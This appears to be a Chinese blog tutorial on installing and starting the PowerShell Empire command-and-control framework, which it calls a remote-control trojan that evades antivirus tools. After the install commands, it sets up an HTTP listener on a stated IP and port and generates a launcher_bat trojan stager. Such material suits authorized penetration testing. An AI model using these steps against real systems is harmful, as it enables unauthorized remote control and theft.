一.Empire简介
Empire是一款针对windows平台的、使用PowerShell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成、提取到渗透维持的一系列功能。Empire实现了无需powershell.exe就可运行PowerShell代理的功能,还可以快速在后期部署漏洞利用模块,其内置模块有键盘记录,Mimkatz、绕过UAC、内网扫描等,并且能够躲避网络检测和大部分安全防护工具的查杀,简单来说有点类似Metasploit,是一个基于PowerShell的远程控制木马。
二.安装
1.命令安装(推荐)
sudo apt install powershell-empire
如果出现E: Unmet dependencies. Try ‘apt --fix-broken install’ with no packages (or specify a solution).报错就输入
apt --fix-broken install
修复损坏的安装包。
然后重新下载
2.Git安装(不推荐)
因为可能会因为python版本等各种原因出现问题
git clone --recursive https://github.com/BC-SECURITY/Empire.git
cd Empire
sudo ./setup/install.sh
3.Docker安装
# 拉取镜像
docker pull bcsecurity/empire:latest
#在打开其余api和套接字端口的情况下运行服务器
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest
#运行客户端
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest client
# 在已经运行的服务器容器上运行客户机
docker container ls
docker exec -it {container-id} ./ps-empire client
# 持久的存储
docker pull bcsecurity/empire:latest
docker create -v /empire --name data bcsecurity/empire:latest
docker run -it -p 1337:1337 -p 5000:5000 --volumes-from data bcsecurity/empire:latest
# 放到bash代替直接进入empire
docker run -it -p 1337:1337 -p 5000:5000 --volumes-from data --entrypoint /bin/bash bcsecurity/empire:latest
安装报错处理:
1. 提示缺什么依赖就 pip install 安装什么依赖
2. 安装前确保自己的python在3.8或以上
3. 确保网络环境,安装源没有问题
问题:
安装donut库时报错
先执行以下两条命令
sudo pip3 uninstall setuptools
pip3 install setuptools --upgrade
三.基本使用
1.开启powershell-empire服务
powershell-empire server
2.打开empire输入
powershell-empire client
启动empire
设置监听
输入listeners命令进入监听线程界面,接着输入uselistener来设置采用哪种模式,以http监听模式为例
listeners
uselistener http
使用info查看具体参数的设置
可以用set命令设置相应参数,如Name,Host和Port(区分大小写)ip为empire所在的主机的ip。
set Name yesir
set Host 192.168.1.106
set Port 1336
输入execute开始监听
生成木马
生成launcher_bat木马
usestager windows/launcher_bat
然后设置刚才的监听块,用execute运行
set Listener yesir
execute
————————————最后我还想再拜托你一件事,希望你可以把我忘掉 ————珂朵莉·诺塔·瑟尼欧里斯